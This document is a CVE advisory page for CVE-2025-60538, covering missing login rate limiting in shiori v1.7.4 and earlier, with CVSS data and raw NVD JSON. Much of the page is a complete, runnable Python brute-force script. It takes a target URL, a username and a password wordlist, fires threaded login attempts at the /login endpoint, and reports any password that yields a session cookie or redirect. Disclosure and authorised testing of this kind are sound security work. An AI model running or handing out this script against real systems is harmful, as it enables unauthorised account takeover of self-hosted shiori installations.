Security Vulnerability Report
中文
CVE-2025-60538 CVSS 6.5 MEDIUM

CVE-2025-60538

Published: 2026-01-09 21:16:13
Last Modified: 2026-01-22 21:39:50

Description

A lack of rate limiting in the login page of shiori v1.7.4 and below allows attackers to bypass authentication via a brute force attack.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:go-shiori:shiori:*:*:*:*:*:go:*:* - VULNERABLE
shiori < 1.7.5 (v1.7.4及以下所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60538 PoC - Shiori Login Brute Force (Lack of Rate Limiting) This PoC demonstrates the vulnerability in Shiori v1.7.4 and below where the login page lacks rate limiting, allowing unlimited login attempts. Usage: python3 cve-2025-60538.py <target_url> <username> <password_list> Example: python3 cve-2025-60538.py http://localhost:8080 admin passwords.txt """ import requests import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed # Suppress SSL warnings for testing purposes requests.packages.urllib3.disable_warnings() def try_login(target_url, username, password): """Attempt to login with given credentials""" login_url = f"{target_url.rstrip('/')}/login" data = { 'username': username, 'password': password } try: response = requests.post(login_url, data=data, timeout=10, allow_redirects=False) # Check if login successful (Shiori sets session cookie on success) if response.status_code in [200, 302] and 'shiori_session' in response.cookies: return { 'success': True, 'password': password, 'message': f'SUCCESS! Password found: {password}' } elif response.status_code == 302 and 'Location' in response.headers: return { 'success': True, 'password': password, 'message': f'SUCCESS! Password found: {password}' } else: return { 'success': False, 'password': password, 'message': f'Failed attempt: {password}' } except requests.exceptions.RequestException as e: return { 'success': False, 'password': password, 'message': f'Error: {str(e)}' } def main(): if len(sys.argv) != 4: print("Usage: python3 cve-2025-60538.py <target_url> <username> <password_file>") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password_file = sys.argv[3] print(f"[*] CVE-2025-60538 - Shiori Login Brute Force") print(f"[*] Target: {target_url}") print(f"[*] Username: {username}") print(f"[*] Loading passwords from: {password_file}") try: with open(password_file, 'r') as f: passwords = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[-] Password file not found: {password_file}") sys.exit(1) print(f"[*] Loaded {len(passwords)} passwords") print(f"[*] Starting brute force attack (no rate limiting protection)...") print("-" * 60) start_time = time.time() attempt_count = 0 # Use threading for faster brute force (demonstrating lack of rate limiting) with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(try_login, target_url, username, pwd): pwd for pwd in passwords} for future in as_completed(futures): attempt_count += 1 result = future.result() if result['success']: elapsed = time.time() - start_time print(f"\n[+] {result['message']}") print(f"[*] Total attempts: {attempt_count}") print(f"[*] Time elapsed: {elapsed:.2f} seconds") print(f"[*] Attempts per second: {attempt_count/elapsed:.2f}") executor.shutdown(wait=False) for f in futures: f.cancel() break else: if attempt_count % 10 == 0: print(f"[*] Progress: {attempt_count}/{len(passwords)} attempts...") if attempt_count == len(passwords): print(f"\n[-] Brute force completed. Password not found in wordlist.") print(f"[*] Total attempts: {attempt_count}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60538", "sourceIdentifier": "[email protected]", "published": "2026-01-09T21:16:13.340", "lastModified": "2026-01-22T21:39:49.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of rate limiting in the login page of shiori v1.7.4 and below allows attackers to bypass authentication via a brute force attack."}, {"lang": "es", "value": "Una falta de limitación de velocidad en la página de inicio de sesión de shiori v1.7.4 y versiones anteriores permite a los atacantes eludir la autenticación mediante un ataque de fuerza bruta."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:go-shiori:shiori:*:*:*:*:*:go:*:*", "versionEndIncluding": "1.7.4", "matchCriteriaId": "A2D0DE58-81A8-4BCB-8FCC-E2B193748B9D"}]}]}], "references": [{"url": "https://github.com/go-shiori/shiori", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/go-shiori/shiori/issues/1138", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}